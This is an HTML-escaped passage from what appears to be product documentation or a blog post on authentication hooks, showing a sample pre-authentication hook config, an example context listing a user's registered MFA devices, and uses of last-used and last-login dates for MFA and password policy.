style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;q&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;u&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;t&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;mfa-device-information&quot;&gt;MFA Device Information&lt;&#x2F;h2&gt;
&lt;p&gt;You can now get back a list of MFA devices that are registered for a user. To enable this, you must send the mfa_device_info_enabled  property set to true in your hook config.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;pre-authentication&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;{{base64Function}}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;disabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;runtime&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;nodejs18.x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;retries&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;risk_enabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;location_enabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; true&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;mfa_device_info_enabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; true&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;env_vars&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   ]&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;packages&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;When enabled, the users’ MFA devices will be included in the context, as pictured below.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt; o&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;t&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;h&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt; c&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;o&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;n&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;t&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;t&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;t&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;m&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;mfa_devices&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;     &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;auth_factor_id&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;     &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;device_id&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;     &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;user_display_name&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Google Authenticator&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;     &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;type_display_name&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Google Authenticator&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;     &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;auth_factor_name&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Google Authenticator&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;     &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;default&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; true&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;     &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;last_used_at&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;2020-10-20T12:33:24.266Z&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;     &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;created_at&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;2020-03-02T14:53:00.445Z&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; ]&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This is useful if you want to force a policy based on the devices a user has registered. For example, if a user is on a mobile device with the WebAuthn biometric factor registered, then you may want to dynamically assign them to a policy that enforces the use of that factor.&lt;&#x2F;p&gt;
&lt;p&gt;Alternatively, you may want to use the &lt;code&gt;last_used_at&lt;&#x2F;code&gt;  attribute to force a user to MFA every X number of days. This is useful if you have Smart MFA enabled to suppress MFA due to a low risk score because your users always log in from home. You may want to keep them on their toes with a regular MFA prompt, regardless of the detected risk level.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;last-successful-login-date&quot;&gt;Last successful login date&lt;&#x2F;h2&gt;
&lt;p&gt;Sometimes it’s useful to know the last time a user successfully logged in. For this, we added last_login_success  to the context which allows you to make decisions based on the last time the user successfully logged in. For example you may want to force a user to update their password if they haven’t logged in for over 30 days.&lt;&#x2F;p&gt;
